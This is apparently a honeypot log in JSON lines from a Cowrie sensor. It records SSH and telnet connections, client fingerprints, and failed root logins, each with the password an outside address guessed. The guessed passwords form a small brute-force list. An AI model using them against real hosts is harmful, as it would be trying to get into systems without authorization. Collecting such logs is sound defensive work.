{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:30.605506Z","src_ip":"43.135.177.217","session":"8bbd0597479f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:30.674410Z","src_ip":"43.135.177.217","session":"8bbd0597479f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"divya@123","message":"login attempt [root/divya@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:30.980112Z","src_ip":"43.135.177.217","session":"8bbd0597479f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42690,"dst_ip":"10.17.0.5","dst_port":23,"session":"01a14679252e","protocol":"telnet","message":"New connection: 192.119.13.58:42690 (10.17.0.5:23) [session: 01a14679252e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:30.986751Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:32.057367Z","src_ip":"43.135.177.217","session":"8bbd0597479f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.243.239.219","src_port":3072,"dst_ip":"10.17.0.5","dst_port":22,"session":"972bb79d5b0b","protocol":"ssh","message":"New connection: 74.243.239.219:3072 (10.17.0.5:22) [session: 972bb79d5b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:33.991867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:33.996642Z","src_ip":"74.243.239.219","session":"972bb79d5b0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:34.164305Z","src_ip":"74.243.239.219","session":"972bb79d5b0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"boom","message":"login attempt [root/boom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:34.870502Z","src_ip":"74.243.239.219","session":"972bb79d5b0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:36.041937Z","src_ip":"74.243.239.219","session":"972bb79d5b0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.45289468765259,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:36.774425Z","src_ip":"192.119.13.58","session":"ed4609f14754","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37326,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4c14ee8765c","protocol":"telnet","message":"New connection: 192.119.13.58:37326 (10.17.0.5:23) [session: f4c14ee8765c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:36.905571Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":54284,"dst_ip":"10.17.0.5","dst_port":22,"session":"01a59e1b5f5b","protocol":"ssh","message":"New connection: 103.153.68.219:54284 (10.17.0.5:22) [session: 01a59e1b5f5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:37.455470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:37.461139Z","src_ip":"103.153.68.219","session":"01a59e1b5f5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:37.706319Z","src_ip":"103.153.68.219","session":"01a59e1b5f5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.376169204711914,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:37.974982Z","src_ip":"192.119.13.58","session":"5c52687f0bb7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"baseball","message":"login attempt [root/baseball] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:38.439748Z","src_ip":"103.153.68.219","session":"01a59e1b5f5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:39.686569Z","src_ip":"103.153.68.219","session":"01a59e1b5f5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.26177167892456,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:43.229922Z","src_ip":"192.119.13.58","session":"14b1c4c39544","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":36942,"dst_ip":"159.203.135.109","dst_port":22,"session":"505870ea75f6","protocol":"ssh","message":"New connection: 37.143.61.84:36942 (159.203.135.109:22) [session: 505870ea75f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:43.360682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:43.366198Z","src_ip":"37.143.61.84","session":"505870ea75f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:43.461267Z","src_ip":"37.143.61.84","session":"505870ea75f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sammy123","message":"login attempt [root/sammy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:43.860966Z","src_ip":"37.143.61.84","session":"505870ea75f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.328017473220825,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:44.689316Z","src_ip":"192.119.13.58","session":"fee052d16288","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:44.949192Z","src_ip":"37.143.61.84","session":"505870ea75f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48320,"dst_ip":"10.17.0.5","dst_port":23,"session":"f94985c539c6","protocol":"telnet","message":"New connection: 192.119.13.58:48320 (10.17.0.5:23) [session: f94985c539c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:47.037007Z"}
{"eventid":"cowrie.session.closed","duration":35.10802173614502,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:49.078851Z","src_ip":"192.119.13.58","session":"45923fdd46ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":37412,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4d23bd3e64c","protocol":"ssh","message":"New connection: 35.225.56.202:37412 (10.17.0.5:22) [session: f4d23bd3e64c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:51.249920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:51.254588Z","src_ip":"35.225.56.202","session":"f4d23bd3e64c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:51.289085Z","src_ip":"35.225.56.202","session":"f4d23bd3e64c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"batman","message":"login attempt [root/batman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:51.457909Z","src_ip":"35.225.56.202","session":"f4d23bd3e64c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40912,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5d8e0c73f1a","protocol":"telnet","message":"New connection: 192.119.13.58:40912 (10.17.0.5:23) [session: a5d8e0c73f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:52.327743Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:52.494678Z","src_ip":"35.225.56.202","session":"f4d23bd3e64c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.51656150817871,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:54.457915Z","src_ip":"192.119.13.58","session":"21d16e4f7d2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.823996782302856,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:55.099058Z","src_ip":"192.119.13.58","session":"7a6558d1235b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.294524908065796,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:00.135093Z","src_ip":"192.119.13.58","session":"5bbc416875be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48538,"dst_ip":"10.17.0.5","dst_port":23,"session":"e026759f57b9","protocol":"telnet","message":"New connection: 192.119.13.58:48538 (10.17.0.5:23) [session: e026759f57b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:01.545532Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53802,"dst_ip":"10.17.0.5","dst_port":23,"session":"9339ae5e5fe9","protocol":"telnet","message":"New connection: 192.119.13.58:53802 (10.17.0.5:23) [session: 9339ae5e5fe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:02.826432Z"}
{"eventid":"cowrie.session.closed","duration":42.41280484199524,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:03.498383Z","src_ip":"192.119.13.58","session":"3c0bbbaae4cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.233.48.169","src_port":57042,"dst_ip":"10.17.0.5","dst_port":22,"session":"11d12d51da9c","protocol":"ssh","message":"New connection: 193.233.48.169:57042 (10.17.0.5:22) [session: 11d12d51da9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:05.436412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:05.443773Z","src_ip":"193.233.48.169","session":"11d12d51da9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:05.572897Z","src_ip":"193.233.48.169","session":"11d12d51da9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"batman","message":"login attempt [root/batman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:06.088941Z","src_ip":"193.233.48.169","session":"11d12d51da9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39688,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d970f1c55ba","protocol":"telnet","message":"New connection: 192.119.13.58:39688 (10.17.0.5:23) [session: 3d970f1c55ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:06.453012Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:07.214675Z","src_ip":"193.233.48.169","session":"11d12d51da9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.105.130.18","src_port":58400,"dst_ip":"159.203.135.109","dst_port":22,"session":"9587cbb68c96","protocol":"ssh","message":"New connection: 77.105.130.18:58400 (159.203.135.109:22) [session: 9587cbb68c96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:08.552847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:08.562982Z","src_ip":"77.105.130.18","session":"9587cbb68c96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:08.661439Z","src_ip":"77.105.130.18","session":"9587cbb68c96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"energystar","message":"login attempt [root/energystar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:09.080072Z","src_ip":"77.105.130.18","session":"9587cbb68c96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.1143598556518555,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:09.567223Z","src_ip":"192.119.13.58","session":"3d970f1c55ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:10.179549Z","src_ip":"77.105.130.18","session":"9587cbb68c96","protocol":"ssh"}
